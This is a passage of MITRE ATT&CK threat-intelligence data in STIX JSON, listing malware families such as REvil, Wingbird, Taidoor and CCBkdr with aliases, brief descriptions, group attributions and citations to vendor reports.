2014)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.3","x_mitre_contributors":["ESET"],"x_mitre_aliases":["EvilBunny"],"type":"malware","id":"malware--a8a778f5-0035-4870-bb25-53dc05029586","created":"2019-06-28T17:40:32.217Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0396","external_id":"S0396"},{"source_name":"EvilBunny","description":"(Citation: Cyphort EvilBunny Dec 2014)"},{"source_name":"Cyphort EvilBunny Dec 2014","description":"Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019.","url":"https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Wingbird"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--a8d3d497-2da9-4797-8e0b-ed176be08654","type":"malware","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0176","url":"https://attack.mitre.org/software/S0176","source_name":"mitre-attack"},{"source_name":"Wingbird","description":"(Citation: Microsoft SIR Vol 21) (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft Wingbird Nov 2017)"},{"url":"http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf","description":"Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.","source_name":"Microsoft SIR Vol 21"},{"source_name":"Microsoft NEODYMIUM Dec 2016","description":"Microsoft. (2016, December 14). Twin zero-day attacks: PROMETHIUM and NEODYMIUM target individuals in Europe. Retrieved November 27, 2017.","url":"https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/"},{"source_name":"Microsoft Wingbird Nov 2017","description":"Microsoft. (2017, November 9). Backdoor:Win32/Wingbird.A!dha. Retrieved November 27, 2017.","url":"https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Wingbird.A!dha"}],"modified":"2020-03-30T18:29:08.243Z","name":"Wingbird","description":"[Wingbird](https://attack.mitre.org/software/S0176) is a backdoor that appears to be a version of commercial software [FinFisher](https://attack.mitre.org/software/S0182). It is reportedly used to attack individual computers instead of networks. It was used by [NEODYMIUM](https://attack.mitre.org/groups/G0055) in a May 2016 campaign. (Citation: Microsoft SIR Vol 21) (Citation: Microsoft NEODYMIUM Dec 2016)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Cobian RAT"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--aa1462a1-d065-416c-b354-bedd04998c7f","type":"malware","created":"2019-01-29T21:40:37.350Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://attack.mitre.org/software/S0338","source_name":"mitre-attack","external_id":"S0338"},{"source_name":"Cobian RAT","description":"(Citation: Zscaler Cobain Aug 2017)"},{"source_name":"Zscaler Cobian Aug 2017","url":"https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat","description":"Yadav, A., et al. (2017, August 31). Cobian RAT – A backdoored RAT. Retrieved November 13, 2018."}],"modified":"2020-03-30T15:22:42.218Z","name":"Cobian RAT","description":"[Cobian RAT](https://attack.mitre.org/software/S0338) is a backdoor, remote access tool that has been observed since 2016.(Citation: Zscaler Cobian Aug 2017)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:17:38.807Z","name":"HotCroissant","description":"[HotCroissant](https://attack.mitre.org/software/S0431) is a remote access trojan (RAT) attributed by U.S. government entities to malicious North Korean government cyber activity, tracked collectively as HIDDEN COBRA.(Citation: US-CERT HOTCROISSANT February 2020) [HotCroissant](https://attack.mitre.org/software/S0431) shares numerous code similarities with [Rifdoor](https://attack.mitre.org/software/S0433).(Citation: Carbon Black HotCroissant April 2020)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["HotCroissant"],"type":"malware","id":"malware--aad11e34-02ca-4220-91cd-2ed420af4db3","created":"2020-05-01T19:10:31.446Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0431","external_id":"S0431"},{"source_name":"Carbon Black HotCroissant April 2020","description":"Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020.","url":"https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/"},{"source_name":"US-CERT HOTCROISSANT February 2020","description":"US-CERT. (2020, February 20). MAR-10271944-1.v1 – North Korean Trojan: HOTCROISSANT. Retrieved May 1, 2020.","url":"https://www.us-cert.gov/ncas/analysis-reports/ar20-045d"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-04-14T23:44:24.382Z","name":"ServHelper","description":"[ServHelper](https://attack.mitre.org/software/S0382) is a backdoor first observed in late 2018. The backdoor is written in Delphi and is typically delivered as a DLL file.(Citation: Proofpoint TA505 Jan 2019)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["ServHelper"],"type":"malware","id":"malware--aae22730-e571-4d17-b037-65f2a3e26213","created":"2019-05-29T13:14:38.638Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0382","external_id":"S0382"},{"source_name":"Proofpoint TA505 Jan 2019","description":"Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["JCry"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--aaf3fa65-8b27-4e68-91de-2b7738fe4c82","type":"malware","created":"2019-06-18T17:20:43.635Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0389","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0389"},{"source_name":"JCry","description":"(Citation: Carbon Black JCry May 2019)"},{"description":"Lee, S.. (2019, May 14). JCry Ransomware. Retrieved June 18, 2019.","url":"https://www.carbonblack.com/2019/05/14/cb-tau-threat-intelligence-notification-jcry-ransomware-pretends-to-be-adobe-flash-player-update-installer/","source_name":"Carbon Black JCry May 2019"}],"modified":"2020-03-30T16:51:27.312Z","name":"JCry","description":"[JCry](https://attack.mitre.org/software/S0389) is ransomware written in Go. It was identified as apart of the #OpJerusalem 2019 campaign.(Citation: Carbon Black JCry May 2019)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Unknown Logger"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--ab3580c8-8435-4117-aace-3d9fbe46aa56","type":"malware","created":"2017-05-31T21:33:15.020Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0130","external_id":"S0130"},{"url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.","source_name":"Forcepoint Monsoon"}],"modified":"2020-03-30T18:25:14.290Z","name":"Unknown Logger","description":"[Unknown Logger](https://attack.mitre.org/software/S0130) is a publicly released, free backdoor. Version 1.5 of the backdoor has been used by the actors responsible for the MONSOON campaign. (Citation: Forcepoint Monsoon)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T00:15:32.724Z","name":"REvil","description":"[REvil](https://attack.mitre.org/software/S0496) is a ransomware family that has been linked to the [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) group and operated as ransomware-as-a-service (RaaS) since at least April 2019. [REvil](https://attack.mitre.org/software/S0496), which as been used against organizations in the manufacturing, transportation, and electric sectors, is highly configurable and shares code similarities with the GandCrab RaaS.(Citation: Secureworks REvil September 2019)(Citation: Intel 471 REvil March 2020)(Citation: Group IB Ransomware May 2020)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack","ics-attack"],"x_mitre_version":"2.2","x_mitre_contributors":["Edward Millington"],"x_mitre_aliases":["REvil","Sodin","Sodinokibi"],"type":"malware","id":"malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5","created":"2020-08-04T15:06:14.796Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0496","external_id":"S0496"},{"source_name":"Sodin","description":"(Citation: Intel 471 REvil March 2020)(Citation: Kaspersky Sodin July 2019)"},{"source_name":"Sodinokibi","description":"(Citation: Secureworks REvil September 2019)(Citation: Intel 471 REvil March 2020)(Citation: G Data Sodinokibi June 2019)(Citation: Kaspersky Sodin July 2019)(Citation: Cylance Sodinokibi July 2019)(Citation: Secureworks GandCrab and REvil September 2019)(Citation: Talos Sodinokibi April 2019)(Citation: McAfee Sodinokibi October 2019)(Citation: McAfee REvil October 2019)(Citation: Picus Sodinokibi January 2020)(Citation: Secureworks REvil September 2019)(Citation: Tetra Defense Sodinokibi March 2020)"},{"source_name":"Talos Sodinokibi April 2019","description":"Cadieux, P, et al (2019, April 30). Sodinokibi ransomware exploits WebLogic Server vulnerability. Retrieved August 4, 2020.","url":"https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html"},{"source_name":"Secureworks REvil September 2019","description":"Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020.","url":"https://www.secureworks.com/research/revil-sodinokibi-ransomware"},{"source_name":"Cylance Sodinokibi July 2019","description":"Cylance. (2019, July 3). hreat Spotlight: Sodinokibi Ransomware. Retrieved August 4, 2020.","url":"https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html"},{"source_name":"Group IB Ransomware May 2020","description":"Group IB. (2020, May). Ransomware Uncovered: Attackers’ Latest Methods. Retrieved August 5, 2020.","url":"https://www.group-ib.com/whitepapers/ransomware-uncovered.html"},{"source_name":"G Data Sodinokibi June 2019","description":"Han, Karsten. (2019, June 4). Strange Bits: Sodinokibi Spam, CinaRAT, and Fake G DATA. Retrieved August 4, 2020.","url":"https://www.gdatasoftware.com/blog/2019/06/31724-strange-bits-sodinokibi-spam-cinarat-and-fake-g-data"},{"source_name":"Intel 471 REvil March 2020","description":"Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service – An analysis of a ransomware affiliate operation. Retrieved August 4, 2020.","url":"https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/"},{"source_name":"Kaspersky Sodin July 2019","description":"Mamedov, O, et al. (2019, July 3). Sodin ransomware exploits Windows vulnerability and processor architecture. Retrieved August 4, 2020.","url":"https://securelist.com/sodin-ransomware/91473/"},{"source_name":"McAfee Sodinokibi October 2019","description":"McAfee. (2019, October 2). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service – What The Code Tells Us. Retrieved August 4, 2020.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/"},{"source_name":"Picus Sodinokibi January 2020","description":"Ozarslan, S. (2020, January 15). A Brief History of Sodinokibi. Retrieved August 5, 2020.","url":"https://www.picussecurity.com/blog/a-brief-history-and-further-technical-analysis-of-sodinokibi-ransomware"},{"source_name":"McAfee REvil October 2019","description":"Saavedra-Morales, J, et al. (2019, October 20). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service – Crescendo. Retrieved August 5, 2020.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-crescendo/"},{"source_name":"Secureworks GandCrab and REvil September 2019","description":"Secureworks . (2019, September 24). REvil: The GandCrab Connection. Retrieved August 4, 2020.","url":"https://www.secureworks.com/blog/revil-the-gandcrab-connection"},{"source_name":"Tetra Defense Sodinokibi March 2020","description":"Tetra Defense. (2020, March). CAUSE AND EFFECT: SODINOKIBI RANSOMWARE ANALYSIS. Retrieved December 14, 2020.","url":"https://www.tetradefense.com/incident-response-services/cause-and-effect-sodinokibi-ransomware-analysis"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["RIPTIDE"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--ad4f146f-e3ec-444a-ba71-24bffd7f0f8e","type":"malware","created":"2017-05-31T21:32:11.911Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0003","external_id":"S0003"},{"url":"https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html","description":"Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin’s Favorite APT Group [Blog]. Retrieved November 12, 2014.","source_name":"Moran 2014"}],"modified":"2020-03-30T17:28:04.217Z","name":"RIPTIDE","description":"[RIPTIDE](https://attack.mitre.org/software/S0003) is a proxy-aware backdoor used by [APT12](https://attack.mitre.org/groups/G0005). (Citation: Moran 2014)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-24T21:42:31.959Z","name":"Valak","description":"[Valak](https://attack.mitre.org/software/S0476) is a multi-stage modular malware that can function as a standalone information stealer or downloader, first observed in 2019 targeting enterprises in the US and Germany.(Citation: Cybereason Valak May 2020)(Citation: Unit 42 Valak July 2020)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.3","x_mitre_contributors":["Cybereason Nocturnus, @nocturnus"],"x_mitre_aliases":["Valak"],"type":"malware","id":"malware--ade37ada-14af-4b44-b36c-210eec255d53","created":"2020-06-19T17:11:54.854Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0476","external_id":"S0476"},{"source_name":"Unit 42 Valak July 2020","description":"Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020.","url":"https://unit42.paloaltonetworks.com/valak-evolution/"},{"source_name":"Cybereason Valak May 2020","description":"Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020.","url":"https://www.cybereason.com/blog/valak-more-than-meets-the-eye"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-01-04T20:02:49.672Z","name":"Samurai","description":"[Samurai](https://attack.mitre.org/software/S1099) is a passive backdoor that has been used by [ToddyCat](https://attack.mitre.org/groups/G1022) since at least 2020. [Samurai](https://attack.mitre.org/software/S1099) allows arbitrary C# code execution and is used with multiple modules for remote administration and lateral movement.(Citation: Kaspersky ToddyCat June 2022)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["Samurai"],"type":"malware","id":"malware--ae91fb8f-5031-4f57-9839-e3be3ed503f0","created":"2024-01-04T20:01:26.144Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1099","external_id":"S1099"},{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["PinchDuke"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--ae9d818d-95d0-41da-b045-9cabea1ca164","type":"malware","created":"2017-05-31T21:32:35.780Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0048","external_id":"S0048"},{"url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","source_name":"F-Secure The Dukes"}],"modified":"2020-03-30T17:21:09.930Z","name":"PinchDuke","description":"[PinchDuke](https://attack.mitre.org/software/S0048) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2008 to 2010. (Citation: F-Secure The Dukes)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T00:43:16.261Z","name":"Milan","description":"[Milan](https://attack.mitre.org/software/S1015) is a backdoor implant based on [DanBot](https://attack.mitre.org/software/S1014) that was written in Visual C++ and .NET. [Milan](https://attack.mitre.org/software/S1015) has been used by [HEXANE](https://attack.mitre.org/groups/G1001) since at least June 2020.(Citation: ClearSky Siamesekitten August 2021)(Citation: Kaspersky Lyceum October 2021)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["Milan","James"],"type":"malware","id":"malware--aea6d6b8-d832-4c90-a1bb-f52c6684db6c","created":"2022-06-06T18:34:37.625Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1015","external_id":"S1015"},{"source_name":"James","description":"(Citation: Accenture Lyceum Targets November 2021)"},{"source_name":"Accenture Lyceum Targets November 2021","description":"Accenture. (2021, November 9). Who are latest targets of cyber group Lyceum?. Retrieved June 16, 2022.","url":"https://www.accenture.com/us-en/blogs/cyber-defense/iran-based-lyceum-campaigns"},{"source_name":"ClearSky Siamesekitten August 2021","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022.","url":"https://www.clearskysec.com/siamesekitten/"},{"source_name":"Kaspersky Lyceum October 2021","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022.","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-10T22:17:40.838Z","name":"USBStealer","description":"[USBStealer](https://attack.mitre.org/software/S0136) is malware that has been used by [APT28](https://attack.mitre.org/groups/G0007) since at least 2005 to extract information from air-gapped networks. It does not have the capability to communicate over the Internet and has been used in conjunction with [ADVSTORESHELL](https://attack.mitre.org/software/S0045). (Citation: ESET Sednit USBStealer 2014) (Citation: Kaspersky Sofacy)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.3","x_mitre_aliases":["USBStealer","USB Stealer","Win32/USBStealer"],"type":"malware","id":"malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb","created":"2017-05-31T21:33:17.716Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0136","external_id":"S0136"},{"source_name":"ESET Sednit USBStealer 2014","description":"Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.","url":"http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/"},{"source_name":"Kaspersky Sofacy","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.","url":"https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T00:28:52.310Z","name":"OSX_OCEANLOTUS.D","description":"[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) is a macOS backdoor used by [APT32](https://attack.mitre.org/groups/G0050). First discovered in 2015, [APT32](https://attack.mitre.org/groups/G0050) has continued to make improvements using a plugin architecture to extend capabilities, specifically using `.dylib` files. [OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) can also determine it's permission level and execute according to access type (`root` or `user`).(Citation: Unit42 OceanLotus 2017)(Citation: TrendMicro MacOS April 2018)(Citation: Trend Micro MacOS Backdoor November 2020)","x_mitre_platforms":["macOS"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"3.1","x_mitre_aliases":["OSX_OCEANLOTUS.D","Backdoor.MacOS.OCEANLOTUS.F"],"type":"malware","id":"malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29","created":"2019-01-30T19:18:19.667Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0352","external_id":"S0352"},{"source_name":"Backdoor.MacOS.OCEANLOTUS.F","description":"(Citation: Trend Micro MacOS Backdoor November 2020)"},{"source_name":"OSX_OCEANLOTUS.D","description":"(Citation: TrendMicro MacOS April 2018)"},{"source_name":"Unit42 OceanLotus 2017","description":"Erye Hernandez and Danny Tsechansky. (2017, June 22). The New and Improved macOS Backdoor from OceanLotus. Retrieved September 8, 2023.","url":"https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/"},{"source_name":"TrendMicro MacOS April 2018","description":"Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/"},{"source_name":"Trend Micro MacOS Backdoor November 2020","description":"Magisa, L. (2020, November 27). New MacOS Backdoor Connected to OceanLotus Surfaces. Retrieved December 2, 2020.","url":"https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["CCBkdr"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--b0f13390-cec7-4814-b37c-ccec01887faa","type":"malware","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0222","external_id":"S0222"},{"url":"http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html","description":"Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.","source_name":"Talos CCleanup 2017"},{"url":"http://www.intezer.com/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/","description":"Rosenberg, J. (2017, September 20). Evidence Aurora Operation Still Active: Supply Chain Attack Through CCleaner. Retrieved February 13, 2018.","source_name":"Intezer Aurora Sept 2017"}],"modified":"2020-03-20T20:01:55.457Z","name":"CCBkdr","description":"[CCBkdr](https://attack.mitre.org/software/S0222) is malware that was injected into a signed version of CCleaner and distributed from CCleaner's distribution website. (Citation: Talos CCleanup 2017) (Citation: Intezer Aurora Sept 2017)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["OnionDuke"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--b136d088-a829-432c-ac26-5529c26d4c7e","type":"malware","created":"2017-05-31T21:32:37.341Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0052","external_id":"S0052"},{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}],"modified":"2020-09-23T15:21:12.900Z","name":"OnionDuke","description":"[OnionDuke](https://attack.mitre.org/software/S0052) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2013 to 2015. (Citation: F-Secure The Dukes)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-10T22:36:03.362Z","name":"Taidoor","description":"[Taidoor](https://attack.mitre.org/software/S0011) is a remote access trojan (RAT) that has been used by Chinese government cyber actors to maintain access on victim networks.(Citation: CISA MAR-10292089-1.v2 TAIDOOR August 2021) [Taidoor](https://attack.mitre.org/software/S0011) has primarily been used against Taiwanese government organizations since at least 2010.(Citation: TrendMicro Taidoor)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"2.1","x_mitre_aliases":["Taidoor"],"type":"malware","id":"malware--b143dfa4-e944-43ff-8429-bfffc308c517","created":"2017-05-31T21:32:14.900Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0011","external_id":"S0011"},{"source_name":"CISA MAR-10292089-1.v2 TAIDOOR August 2021","description":"CISA, FBI, DOD. (2021, August). MAR-10292089-1.v2 – Chinese Remote Access Trojan: TAIDOOR. Retrieved August 24, 2021.","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a"},{"source_name":"TrendMicro Taidoor","description":"Trend Micro. 